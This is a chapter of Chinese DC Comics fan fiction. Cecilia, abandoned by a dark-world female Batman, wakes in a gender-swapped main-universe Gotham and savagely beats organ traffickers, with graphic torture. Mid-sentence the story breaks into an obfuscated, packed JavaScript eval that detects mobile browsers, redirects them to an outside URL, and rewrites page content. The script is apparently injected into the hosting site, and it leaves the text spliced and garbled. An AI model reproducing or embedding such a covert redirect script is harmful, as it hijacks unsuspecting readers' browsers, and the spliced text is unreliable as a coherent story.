但自从她偶然间得知了布鲁茜的真实身份,加入蝙蝠女侠的团队,协助她打击哥谭黑暗面的义警工作之后,这仅有的一点“这个城市为什么这么烂”的负面情绪,也被“至少我们可以努力让它变得好一点”的积极感,消解掉了。 她曾先后在两个有爱的家庭里生活,因此她知晓何为正义,何为勇气。哪怕在哥谭,她也算是个品学兼优的好孩子,于是她前程远大,未来光明。 她已经拥有了一切可以让人幸福的东西,所以塞西莉亚很少长时间去恨什么人。硬要细细考究塞西莉亚有过什么长时间的负面情绪的话,也就是在她尚且不知晓蝙蝠女侠的真实身份时,有个需要家长一同出席的读书会,布鲁茜因为要追查最新的人口贩卖活动而被迫缺席,引发了塞西莉亚长达好几天的“她是不是根本不在乎我”的恐慌和难过。 ——但这一刻,在亲耳听到溺亡怨魂决定弃她而去,跟着那个仅仅有一面之缘的、那个神经病一样的行事吊诡的丑八怪,离开这个世界的这一刻,塞西莉亚决定真情实感地憎恨狂笑之蝠,进而憎恨所有的布鲁斯·韦恩。 塞西莉亚死死地盯着溺亡怨魂。 可能就连她自己都不知道,在这一刻,她开口说话的语气,宛如溺水之人伸出手,充满希望又满含绝望地抓向一根注定要断裂的救命稻草: “二十三年前,你当众选定我作为你的接班人,发誓不离不弃,相守相望……可今日,你竟然要为一个陌生人的三言两语而离开我?” “布鲁茜·韦恩,他给你灌了什么迷魂汤?你想清楚一点,如果你真的像他所煽动的那样,要去进攻主世界,那么你的下场唯有一死!” 只可惜塞西莉亚的这番话,没能劝得动溺亡怨魂。毕竟任何一个世界的蝙蝠侠,都不会轻易被他人的劝说改变自己的主意,都是过分固执的家伙。 于是溺亡怨魂没有对塞西莉亚的这番劝说,做出任何肯定的回答,只反问道:“塞西莉亚,你为什么会这么想?” 塞西莉亚艰涩开口回答:“如果真如那人所说,主世界所有事情的走向都趋于光明,你的伟业与梦想被后来者理解和践行……那么你的身边,除去他所说的‘家人’之外,就必然还有更多的‘战友’与‘学徒’。” “你的确很强,布鲁茜,但一个人的力量,是无法与一群人抗衡的。更何况那个世界的神奇女侠和超女都没有死,你所遭受的阻力,只会比现在更沉重、更困难。” 溺亡怨魂又问道:“如果是你的话,你会害怕吗,塞西莉亚?” 塞西莉亚想了想,谨慎道:“我不会惧怕任何超然的力量,因为这勇气自你身上习得,所以我无所畏惧。但布鲁茜,这不是你一意孤行的理由——” 塞西莉亚话音未落,却只见溺亡怨魂的唇边,泄露出一抹几不可查的微笑。欣慰,温和,怅惘,不带任何嘲讽和警惕,甚至没有被溺亡怨魂自带的阴暗气场,扭曲成奇怪的形状。 毫不夸张地说,在这个笑容出现在溺亡怨魂身上的那一刻,原本在这青绿色的、阴暗的水下之城里,仿佛被凝固住,千年万载也不会改变的时光,竟宛如一瞬间倒流起来了。 就好像布鲁茜·韦恩不曾被黑暗吞没,蝙蝠女侠也不曾以洪水淹没全球,她依然是用一个笑容,就能引得全城疯狂的,用黄金和权力滋养出来的哥谭女王: “塞西莉亚,我一直都觉得你聪明又勇敢,这很好。” 她明明在以最和缓的态度,说着表扬的话语,但这一瞬,对溺亡怨魂知之甚深的塞西莉亚却只觉如坠冰窟,因为这分明是“我已无所牵挂,所以我想要做的事情,便必然要成功”的决然: “你能这样想,我很欣慰,看来以后不管遇到什么事,不管这个世界再有多少新的外来者,你都可以处理好。” 塞西莉亚急道:“可是——” 溺亡怨魂双手按着塞西莉亚的肩膀,低下头来与她说话,便宛如女王加封她的臣属: “没有‘可是’,塞西莉亚。” “你是我认定的‘死水’的副统领,是我亲自选定和培养出来的接班人。即便我不曾离开这个世界,我也注定要比你早一步死亡,因为我毕竟比你年长。待到那时,你依然要接手我的军队、我的王国,整个星球的重担都要移交到你的肩上。” “既如此,你就不该为任何人而动摇。更何况,届时整个死水军团,都会以你的意志为意志,都会舍生忘死地保护你,即便我不在这个世界,你也不会有任何危险,你还有什么好怕的呢?” 说话间,她冰冷的手指抚上了塞西莉亚的侧脸。哪怕隔着战术手套,塞西莉亚都能明显地感觉到,蕴藏在这双修长有力的手中的,是何等可怖的力量: “塞西莉亚,你会听话的,对吧?” 塞西莉亚怔怔地看着溺亡怨魂,一时间只觉整个世界都模糊了、远去了,某种格外强烈的不真实感如怒潮海啸般铺天盖地席卷而来,将塞西莉亚吞没。 塞西莉亚不是笨嘴拙舌的人。她当年能够舌粲莲花,把身陷花边新闻的布鲁茜拯救出来,顺便转移开记者们的注意力,也曾长袖善舞地挽回过因为种种因素一路跳楼的公司股价,眼下,她自然有一千句真心的话语可以说,有一万种方法可以辩驳: 我不惧怕任何超然的力量,我只惧怕你的离去;我的心志诚然不会为任何人动摇,我只为你的欢笑而欢笑,为你的忧虑而忧虑。那个世界的你有战友,但你的身边也有我呀,为什么不能带我同去?我不害怕危险,我只害怕被你抛弃。 ——可是,可是。 可是这一千句一万句的表白,不是一个学徒,应该对导师说的;更不是一个超级英雄,可以对她的战友说的;甚至万万不能从普世意义上的“被收养者”的口中,对她的“收养人”说出,因为这令人作呕,有悖伦常。 她要以怎样的立场和身份,去诉说这些字字血泪的真心?到头来,无非是无名无分,无缘无故,无凭无据。 很难说溺亡怨魂是不是察觉到了这种尴尬,才要离开这个世界的;更难说她是不是看准了塞西莉亚依然能够被道德束缚,才说出这种介于决裂和托孤之间、用意颇深的话语的。 最可怕的是,哪怕塞西莉亚对溺亡怨魂了解颇深,在这一刻,她竟然都难以分辨,溺亡怨魂究竟是真的被狂笑之蝠说动,这才打算前往主世界的,还是因为不想跟自己再待在一起而离开的。 总之,不管溺亡怨魂的用意如何,她要的效果已全然达到: 她用大义、理想、责任和感情,编织了一张无法挣脱的网,将塞西莉亚束缚在了这个世界里。 这样,她就可以不用受任何人的影响,去专心致志地做自己想做的事情了,恰如她教导过塞西莉亚的那样,“你不该为任何人而动摇”。 塞西莉亚终于第无数次地认识到了一件事,一件如山岳般不可转移,如太阳东升西落般不可改变的事: 已经死去的石头,是捂不热的。 更雪上加霜的是,在这个关头,突然有第三人的声音从更高处传来,自称是另一个世界的布鲁斯·韦恩的狂笑之蝠,竟然还没离开这里: “好恶心,我要吐了,我真的要吐了!” “还请两位女士注意一下,收敛一点,毕竟这可是海水不是空气,海水是会流动的,等下我要是真的吐在水里,所有人都别想好过!” 疯疯癫癫的狂笑之蝠从韦恩大宅高处高声大笑一跃而下,刹那间便搅动水流,分开波浪,如一条色泽漆黑得都能反射出五彩光芒的剧毒海蛇那样,以一种柔滑而奇诡的姿态,游到了她们面前。 他饶有兴味地看了看面无表情的溺亡怨魂,又看了看立刻便从腰间抽出匕首、提起十二万分戒心的塞西莉亚,突然就又笑了起来,不怀好意道: “小塞西,我知道你什么意思了。你可真别扭,你不就是想让她带着你一起走嘛。” 塞西莉亚已经不敢看溺亡怨魂的神情了。 她对天发誓,只要让她找到一点机会……只要让她找到那么一星半点儿的空隙,她就要亲手把狂笑之蝠的皮剥下来,吊在韦恩庄园的门口做挂画!别说什么不杀原则,那都是几十年前的老黄历了!① 但不知是感受到了塞西莉亚蓬勃的杀意,还是因为他曾经也是蝙蝠侠,自然也身怀绝技,总之,狂笑之蝠始终没给塞西莉亚动手的机会。 头戴尖刺钢盔的男人明明在笑,但塞西莉亚从他的话语里,却感受不到半点欢喜,只有浓稠如黑泥般,甚至几乎要化作实体满溢出来的恶意:② “这又有什么难的呢,小塞西?我还是很开明的。这样吧,她要是愿意带上你,我当然不介意让你搭顺风车,你就可以和我们一起走了。” “现在唯一的问题就是,她真的还要你吗?不如让她亲口告诉你怎么样?” 溺亡怨魂无视了狂笑之蝠的挑拨离间,却也没再对塞西莉亚说什么。 她足尖轻轻一点地,便宛如冉冉浮起的一枚气泡般升入高空,轻盈得仿佛没有半点重量,与一旁同样也能游动,但却还是要手脚并用,才能用游泳的姿势分开水波的狂笑之蝠相比,更是高下立现,毕竟溺亡怨魂才是这个世界真正的主人。 她自高处投来目光俯视而下,望过塞西莉亚最后一眼,随即头也不回地离开了韦 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……也可能没有。 因为她们之间的距离已经飞速拉开,通往所谓的“光明的主世界”的大门正在缓缓开启。在泼天的明光中,一切都显得那么模糊那么渺小,更何况这个被扔在原地的失败者呢?光也是有照亮不到的地方的。 塞西莉亚到头来,也没能等到溺亡怨魂改变主意,甚至连收获的最后那个注视,都相隔遥遥,模糊不清。 她缓缓蹲下来,抱住膝盖,将自己蜷缩成了一团,似乎用这个姿势,就能抵抗从心脏最深处泛出来的、剧烈的酸楚和疼痛。 人在极度痛苦的时候,就会有种“落不到实处”的虚幻感,连身体上的感觉都仿佛隔了一层纱,变得迟缓、发钝,就更不必说奔逸的思维了。 于是在这一刻,在她与她相伴多年的主君分别的这一刻,塞西莉亚竟十分不合时宜地想起了很久之前的一件小事。 布鲁茜当年,因为忙于追查哥谭地下新出现的贩卖人口的犯罪活动,的确没有出席塞西莉亚的学校举办的,“为了加深家长和孩子之间的感情,促进家庭和学校之间双向沟通”而组建的读书会。 但后来,布鲁茜还是找到了塞西莉亚,诚恳地对她道了歉,为了弥补塞西莉亚的缺憾,她还带塞西莉亚去了韦恩庄园的藏书室,说要把缺席的这次亲子互动补上。 二月的冬末春初依然寒意未退。在温度偏低的藏书室里,两人共同分享一张毛毯,黑发蓝眸的女子身形高挑,单手便能将少女揽在怀中。 她一边听着壁炉里,火焰灼烧柴禾发出的“噼啪”轻响,一边优哉游哉地晃动摇椅,将手中的诗集读给塞西莉亚听: “啊,脸色苍白的奥菲莉亚,你有白雪般秀美的姿容。” “你果然隐去影踪,姑娘啊,你竟被大河卷走!” “苍天,爱情,自由!可伶的疯女啊,多美的梦!” “你隐没在梦中,宛如雪化在火中;” “庄严的幻影抑制住你的呼喊,可怕的无限使你的蓝眼又惊又恐!”③ 但问题是,塞西莉亚前一天晚上刚刚打游戏打了个通宵。 于是,当塞西莉亚被布鲁茜抱在怀里的时候,不管她再怎么努力睁开眼,也总觉得眼皮上好像缀有千斤的重物,一直在往下掉,怎么也醒不过来。 她像那些在课堂上情不自禁打盹,并且会在教科书上留下歪歪扭扭如鬼画符般的划痕的学生那样,挣扎了很多遍,但很可惜,塞西莉亚的努力未能见效,到最后,甚至都没能听布鲁茜将这首诗读完,便已沉沉睡去。 在陷入黑甜的梦境之前,塞西莉亚似乎听到了布鲁茜的一声轻笑,随即,一只骨节分明的手覆盖了上来,亲昵地摸了摸她的头发。 多么令人睡意沉沉的、可靠的怀抱,多么令人放下戒备的、安全又温暖的环境,可能这就是留在令人安心的人身边,一定会产生的感觉吧。 在这样的氛围下,即便当晚,因为又想熬夜打游戏于是偷偷爬了起来的塞西莉亚,无意间发现了布鲁茜身为蝙蝠女侠的身份,她的第一反应,也不是“不可思议”,而是“她该多么劳累”,因为归根到底,她也只是普通的、货真价实的人类啊。 ——我有什么能帮到她的呢?她的凡人之躯如此可敬。 然而在这一刻,在多年后与溺亡怨魂分别的这一刻,塞西莉亚却终于后知后觉地反应过来,原来所有的相遇与分离,在多少年前,就已经写好了注脚,定下了命运。 那双抚摸过塞西莉亚额发的手,曾经有多温暖,眼下头也不回便弃她而去的身影,就有多毫不犹豫。 ——我有什么能够留下她的呢?她的凡人之心如此坚定。 于是,塞西莉亚甚至都不愿抬起头来再多看一眼哥谭,只能像文学作品里描写的那些“把头埋进沙子不愿面对危险的鸵鸟”那样,万念俱灰,沉沉睡去。 太阳依旧东升西落,海水依然潮涌不息。微弱的阳光无法穿透水之城,恰如主世界的光芒永远无法覆盖到黑暗宇宙那样,主世界里人人都有枝可依,于是黑暗的纬度里,便要人人痛失所爱,命中注定只能在阴影里行走。④ 9.主世界 塞西莉亚再睁开眼的时候,还没来得及感受到光芒,就被空气呛了一下—— 等等。 空气?! 于是塞西莉亚只花了一秒钟都不到的功夫,就彻底清醒了过来,甚至还因为强行醒得太快有些头晕眼花。 不这不重要,区区低血糖而已,毕竟换谁在洪水淹没的世界里生活十年,都会因为营养不均衡而产生种种亚健康症状的。最关键的是,为什么这里会有空气?! 在看清楚身边的环境之前,无数个类似于“我在睡梦中被人无声无息地移动去了高地”,“此人能够移动我就能杀死我可见这一定不是个好东西”,“死水是不是背叛了我”之类的黑暗向猜想,已经在塞西莉亚的脑海里过了无数遍,可见她的确是溺亡怨魂一手带出来的接班人,要不然很难解释二者之间无比相似的特质。 而且她们之间的相似,除去多疑之外,还有敏锐的判断,证据就是,在彻底清醒过来,并看清楚了周围的环境后,塞西莉亚立刻知晓了自己当下的处境: 好消息,她肯定还在哥谭; 坏消息,这绝对是另一个世界的哥谭。 别问塞西莉亚是怎么得出“她没有离开哥谭”这个结论的。 毕竟不是每个城市的民风,都能淳朴到一睁开眼,就看见有人拿着注射器和与人体等长的塑料袋鬼鬼祟祟地接近,疑似要打麻药割腰子一条龙;更远处的黑诊所门口,还有瘦得浑身上下只剩一把骨头了的小孩在翻垃圾桶,试图翻出最后一点残羹冷炙饱腹;再远一点的墙头上,还蹲着一溜儿油光水滑、肥硕宛如大卡车的猫咪,花色从黑到黑白到橘再到狸花应有尽有。 好消息,幸好塞西莉亚醒来得足够及时,还没被割腰子; 更好的消息,此人还没来得及触发塞西莉亚身上的防护魔法,也就不会引起这个世界的亚马逊人的注意; 坏消息,塞西莉亚现在绝对在猫男的地盘上。① 同样别问为什么,如果这不是猫男的地盘,那么胆敢肥成这个样子的猪咪们,早就被饿红了眼睛的哥谭贫民窟的人,给字面意义上的生吞活剥了。 在对上了塞西莉亚清醒得看不见半点儿困意的双眼后,原本还在磨刀霍霍向新鲜器官的人,立刻就把双手背回了背后,对塞西莉亚爽朗地笑了笑: “哈哈,你醒了啊,真巧。” 如果这是在塞西莉亚所在的世界,而她是以义警的身份现身的,那么她现在,要么在用魔法把这人砌进墙里,要么在呼叫蝙蝠女侠把人给揍进墙里。 至于如果她以“韦恩家族第一顺位继承人,哥谭女王的接班人”的身份遇到这种情况怎么办?别开玩笑了,财产每分钟都在以几百万的速度飞快上涨的老钱,再降格调一亿倍,也不会在贫民窟里绑架!这里又不是中■,会有下■扶贫,想要在资本主义国家活下去,就要有钢铁一样的意志! 但这不是塞西莉亚的世界。 而且由于哥谭市这种,哪怕换了个世界也没有太大变化的、过于淳朴的民风——该说不说,哥谭市的发挥是真的稳定,就像回到了家里一样,稳稳的,很安心——塞西莉亚甚至都没法判断出来,这是在狂笑之蝠口中的“光明的主世界”,还是在别的“黑暗宇宙”。 所以她无法开口呼唤这个世界的蝙蝠或者正义联盟,更不能轻易动用魔法,因为塞西莉亚不能确定,被她呼唤来的,是能够热情对她伸出援手的好人,还是会用热视线把人的脑子给打穿的超能力罪犯。 综上所述,塞西莉亚决定,用本土化的方式解决本土化的问题。 她做出以上所有判断和选择,只不过是一眨眼的功夫;那个刚刚还在想“太好了天降横财竟然让我捡到一具四肢完整的器官供应体”的人,甚至都没感受到半点危机,还在一边尬笑一边后退,自然得完全不像是“在犯罪的时候被逮了个正着”,更像是“出门散步的时候遇到隔壁邻居”。 再说一遍,哥谭市的民风真是不管在哪个世界都稳定发挥。如果这里都不是哥谭,那么这个世界上就没有哥谭了! 但他没能退出第三步。 他只觉得眼前一花,随即头部一凉,在这些最直观的感受过后,他才感受到后脑勺狠狠地撞上墙壁的震荡和疼痛,仿佛有把生锈的钢锯在脑髓里来回拉扯,不把他的脑子搅成一团浆糊誓不罢休。 ——为什么会眼前一花?因为刚刚还人事不省昏迷在地上的女子,在暴起的时候竟宛如猎豹般敏捷凶残,快得他甚至都没能看清她的动作。 ——为什么会头部一凉?因为他已经被揪着领子揍进了墙里,原本就不甚结实的水泥墙面,已经在和人的颅骨谁更坚硬的较量中落了下风。 蛛网般的裂痕以此人的后脑勺为中心扩散开来。但凡塞西莉亚下手再重一点,现在正在从此人头上流下的,可就不是单纯的血液了,搞不好就得红的白的黄的一起喷溅出来。 即便如此,也有清亮透明的水正在从此人鼻子里汩汩流出,温热的脑脊液里混杂着缕缕淡红,顺着人中歪歪斜斜滑进嘴角。迥异于普通血液的淡味,没能让这个犯罪未遂的家伙觉得安心,甚至让他更惊恐了,毕竟这是哥谭市每个罪犯都该具备的技能,根据伤情判断对面的人是谁: 下手重一点的,是蝙蝠侠和他家那堆蝙蝠崽子;下手轻一点的,是被遇到突发情况的蝙蝠侠临时叫过来巡逻的正义联盟的队友。 哥谭人民的智慧不容小觑。他们甚至私下里分享过所有的义警名单,根据使用的武器、偏好的攻击方式、说话的口癖等各种因素,把所有有名有姓的义警都来了个分类,这样就可以进行有针对性的自救活动了: 别人还好说,但如果遇见的是蝙蝠系义警,你最好在他们开口询问之前,就把自己知道的一股脑全都倒出来,还能少遭点罪。 问题是,所有蝙蝠系义警的制服样式、身材和露出来的下半张脸的样貌,都已经被所有的哥谭罪犯牢记于心,就怕哪天一不小心惹上最不能惹的这帮人—— 那么,这个不在他们的名单上,却有着和蝙蝠侠如出一辙的身手和行事方式的家伙,到底是从什么见鬼的犄角旮旯里冒出来的?! 但这还没完。 蝙蝠侠至少会在确定此人失去反抗能力后,就询问他要知道的情报,简而言之就是不会把人打死;但这个女人下手的架势,比蝙蝠侠可要狠多了。 他甚至还没来得及招供出,他所知的这条集器官移植代孕流产等各种违法黑产于一体的流水线的所有上线和下线,就毛骨悚然地感受到一只冰冷得宛如午夜■铃里的女鬼一样的手,飞速摸上了他的脊椎。 这人已经疼得说不出完整的话,只能断断续续从喉咙里往外挤出一点零碎的词汇。但就在这一瞬,强大的求生欲和深铭入骨的对蝙蝠系义警的恐惧,促使着他爆发出了被打碎后脑勺后,最完整的一句话: “别别别求你不要呜呜呜啊啊啊啊啊——!!!” 伴随着一阵撕心裂肺的、甚至不似人类能发出的惨叫,在“咔吧”一声脆响过后,此人就失去了对下半身的所有掌控力: 他的脊椎被折断了。 泪水、汗水、血、组织液和脑脊液,各种乱七八糟的液体混在一起,一滴一滴落在地面上溅起灰尘,很快就聚成了一个小水洼。他的十指深深扣进墙里,用力得指甲都硬生生翻起来了,一片血肉模糊,却依然无法用这十指连心的钻心之楚,去对抗来自浑身各个要害处传来的彻骨剧痛。 如果说之前此人,还有着能够说出情报的力气的话,在这短暂又漫长的三分钟过后,他已经连张开嘴的劲儿都没了,只能无声地嚎啕着,试图让这个女人感受到自己想要传达的精神: 你到底要问什么,行行好,你快问吧!你该不会什么都不想问,就是单纯想打死我吧?!不要啊,这是从什么见鬼的地方钻出来的变态,最近也没听说阿卡姆或者黑门有人越狱啊?! ——但这真的不能怪塞西莉亚。 因为在她的世界里,她和蝙蝠女侠都是女性,当她们打击犯罪活动的时候,她们遭遇的污言秽语与恶意袭击,比起其余世界的男性蝙蝠侠和罗宾来说,都有增无减;想要和这样的歹徒对抗,她们只要不越过“杀人”的那条线,就务必要使用更酷烈、更残暴的手段,才能树立起“蝙蝠女侠无法被打败,你最好乖乖认罪伏法”的恐怖形象。 于是,塞西莉亚一边在心里感叹着“这个世界的哥谭是不是也太和平了,这样的菜鸟新人都敢出来违法犯罪,真是世风日下”,一边用匕首挑起了此人的下巴,大有“一言不合就切断你的气管”的可怖威慑力: “你知道‘蝙蝠侠’吗?” “你最近一次听说这家伙时,牵涉到的是什么事情?” 塞西莉亚的逻辑很简单: 她无法假定任何人的性别——不是那种政治正确意义上的,沃尔玛购物袋和武装直升飞机的无法假定,是跨越世界导致的真正意义上的无法确定——但只要她的这个问题能得到答案,她就可以确定,这个世界的蝙蝠侠是男还是女,进而确定此人究竟是在打击违法犯罪,还是跟狂笑之蝠一路货色。 但这个问题对“已经习惯了蝙蝠侠和他的那一大家子义警”的哥谭人来说,简直就是在给塞西莉亚的身上贴标签,看哪,又一个新的小蝙蝠。 更微妙的是,这人似乎真的从塞西莉亚无语的、恨铁不成钢的眼神里,读出了她的意思,于是他在心中爆发出了高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581694|170203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达两百分贝的土拨鼠尖叫: 世风日下个屁,你才是那个看起来更可怕的家伙吧?!蝙蝠侠,救命啊蝙蝠侠,管管你家的崽子,我真的还能撑到哥谭警方来接手我吗?! 这个小喽啰这辈子都没想过,自己还有涕泪交加地呼喊蝙蝠侠救命的一天。 只可惜他的痛哭流涕并没能传到正主的耳中,因为在他断断续续、出气多进气少地回答完这位疑似新蝙蝠崽子的不速之客的问话后,他就被来了个颅顶重击,当场喷射式呕吐并晕过去了,甚至还在昏迷前,听到了一句彬彬有礼的“谢谢”。 小喽啰:……破案了,绝对是新的蝙蝠崽子。在抵达地狱的大门之前,我真的很想采访一下蝙蝠侠神奇多彩的家庭关系,和他举世无双的神奇育儿理念。 就这样,在降临到这个世界二十四小时之内,雷厉风行讲究效率的塞西莉亚,终于得出了对眼下所处世界的最完整、最精准的判断: 好消息,这里十有八/九就是狂笑之蝠口中的“光明的主世界”。在这里,正义联盟没有分崩离析,蝙蝠家更是欣欣向荣,据被她拷问过的罪犯招供,有名有姓的蝙蝠系义警已经有至少十位了,且这个数量还在有增无减。 坏消息,目前为止,没有任何与溺亡怨魂和狂笑之蝠相关的消息,唯一与“狂笑”这个单词相关的罪犯同样名为小丑,眼下还被关押在阿卡姆监狱中。 最坏的消息是,在这个世界里,她所熟知的所有人的性别,都是颠倒的: 蝙蝠女侠变成了蝙蝠侠,超女变成了超人,小丑也换了个性别变成了男性,猫男变成了猫女,试图攻占陆地的亚特兰蒂斯的海女王变成了海王,且陆地与海洋和平共处,欣欣向荣。 在得知“性别互换”这个消息的一瞬间,塞西莉亚内心五味杂陈,恨也苍白了,爱也苍白了,整个世界都如褪色的油画般朦胧而虚幻: 这真不怪她。单恋对象和情敌双双性别互换这事儿的冲击感,用直女打个比方,就好像她们前一天晚上成功睡到了暗恋二十年的crush,一觉起来惊悚不已地发现,枕边人变成了女人。 很难说是尴尬更多还是痛苦更多,抑或者二者对半开。感受痛苦吧!一袋米要扛几楼……不对串场了,总之,毫不夸张地说,塞西莉亚·韦恩,作为同样多多少少有点大病的哥谭人,在遭遇了“暗恋被捅破”“疑似被委婉拒绝”“被抛下”“穿越世界”和“性别互换”等一连串精神打击之后,竟然还能稳定地探听情报,隐藏踪迹,顺便打击一下这个黑诊所,半点时间都没耽搁,甚至没分出哪怕一分钟用来尴尬,已经算是那种精神格外稳定的人了。 总之最后,塞西莉亚决定,在猫女的地盘上再停留一段时间: 除去“蝙蝠女侠的未婚夫”这一塞西莉亚单方面认定的情敌关系之外,猫女和她没有任何利益冲突,是哥谭所有反英雄里,立场最偏向正义一方的。而且不管哪个世界的猫女都会养猫猫,哎,喜欢猫猫的能是什么坏人呢?性别是会变的,立场是会变的,在这个变幻无常的世界里,只有猫猫的柔软肚肚还有点温度,可恶。 等哥谭警方接到匿名报警,姗姗来迟的时候,他们得到了冰火两重天的两个消息: 好消息,这间黑诊所已经在短短半小时内被捣毁了,连带着所有上线和下线的名单,都已经通过这个诊所自带的电脑,发送到了哥谭警方的邮箱里。并且来人明显精通医疗知识,甚至还能给手术台上被剖开肚子的女人缝上创口,这个作风一看就是蝙蝠系的义警,就是不知道出场的是哪一位。 坏消息,哥谭警方捡到了三个被打得只剩最后一口气的罪犯。现场惨烈得哥谭警察们都差点当场转行,给他们念一段《圣经》做临终关怀。在逮捕这三人的时候,甚至就连经验最为丰富的戈登局长本人,都没法判断,是拉去医院进行抢救比较实在,还是直接去法医那里比较节省时间。 这一晚,破防的人不计其数。 黑诊所医生:不可能!怎么会有人的缝合技术比我还好,我可是土生土长的哥谭黑医,我缝过的四肢比脑壳比普通人一辈子吃的盐都多! 戈登:不可能!怎么会有蝙蝠系的义警下手这么重啊,三个人浑身上下完整的骨头拼起来都不够二十块,这究竟是在拷问,还是在单纯地“打人但一不小心没打死”?蝙蝠,我的朋友,你到底有着怎样丰富的家庭关系,才能养出这么个接班人来?实在不行咱们去进修一下儿童心理学,好吗? 猫女:谁给我的猫全都绝育了!这样我还怎么出去搞事……哦你留下了误工费啊,那没事了,素未谋面的朋友,欢迎你的到来。哎,喜欢猫猫的能是什么坏人呢?在这个混乱的世界里,只有猫猫的粉爪爪还有点温度,可恶。